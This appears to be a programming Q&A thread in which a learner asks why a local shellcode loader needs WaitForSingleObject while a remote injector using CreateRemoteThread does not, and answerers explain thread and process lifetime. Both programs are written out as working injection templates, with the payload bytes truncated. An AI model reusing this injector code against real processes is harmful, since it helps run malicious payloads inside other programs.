-1

I am trying to learn how to do process injections. First, I learn shellcode types in C/C++. However, I met a problem. One code is written by using CreateThread. That is okay but after CreateThread, I have to use WaitForSingleObject function to prevent thread from finishing immediately. Thus, the thread lasts until I exit.

First shellcode written by using CreateThread:

#include <Windows.h>

void main()
{
    const char shellcode[] = "\xfc\xe8\x82 (...) ";
    PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
    DWORD threadID;
    HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
    WaitForSingleObject(hThread, INFINITE);
}

However, the real problem begins here. If I inject shellcode to another process, I use CreateRemoteThread but after this function I do not need to use WaitForSingleObject because it automatically lasts until I exit. I do not understand why I have to use WaitForSingleObject for CreateThread while I can write CreateRemoteThread without it seamlessly.

Second shellcode written by using CreateRemoteThread:

#include "stdafx.h"
#include "Windows.h"

int main(int argc, char *argv[])
{
    unsigned char shellcode[] = "\x48\x31\xc9\x48 (...) ";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;

    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}

I have tried to delete WaitForSingleObject but the shellcode written by using CreateThread did not work.

Pytai
  • 5
  • 2
  • It's because when you do it in your own process, having nothing to do, it terminates before the thread gets a chance to run. – 500 - Internal Server Error Jan 13 '23 at 21:21
  • As far as the system goes, there is only `NtCreateRemoteThread`. `CreateThread` is merely a convenience implementation that passes a handle to the current process. If believe your code to exhibit different behavior depending on whether you call `CreateThread` or `CreateRemoteThread` then that is probably wrong. Either API does exactly the same thing. – IInspectable Jan 14 '23 at 09:06

1 Answers1

1

You've misunderstood what WaitForSingleObject on a thread is doing. It isn't keeping alive the thread that you pass to it. It is blocking the thread that makes the call.

When the main() thread returns, the runtime library calls ExitProcess which kills all other threads in the same process. So you have to prevent reaching the end of main(), and a wait function inside does that. But there are plenty of other ways that main() might keep running, for example creating a window and entering a GetMessage/TranslateMessage/DispatchMessage loop.

When you inject into a remote process, it normally has its own lifetime and your new thread is not at risk of being terminated. Even though your injector returns from main(), only threads in the same process are killed off.

Ben Voigt
  • 277,958
  • 43
  • 419
  • 720
  • Ideally, you should still wait on a remote thread, so that you can cleanup everything you allocated for it in the remote process. You don't want to be rude and leak everything that is in someone else's process (or, do you?...) – Remy Lebeau Jan 13 '23 at 22:17
  • @RemyLebeau: You don't need to wait on the remote thread to do that. Just code the injected payload to clean itself. – Ben Voigt Jan 16 '23 at 15:21
  • You could, though that is much harder to do when injecting raw shellcode that will have to make calls to external functions. Better to inject a DLL instead. – Remy Lebeau Jan 16 '23 at 17:01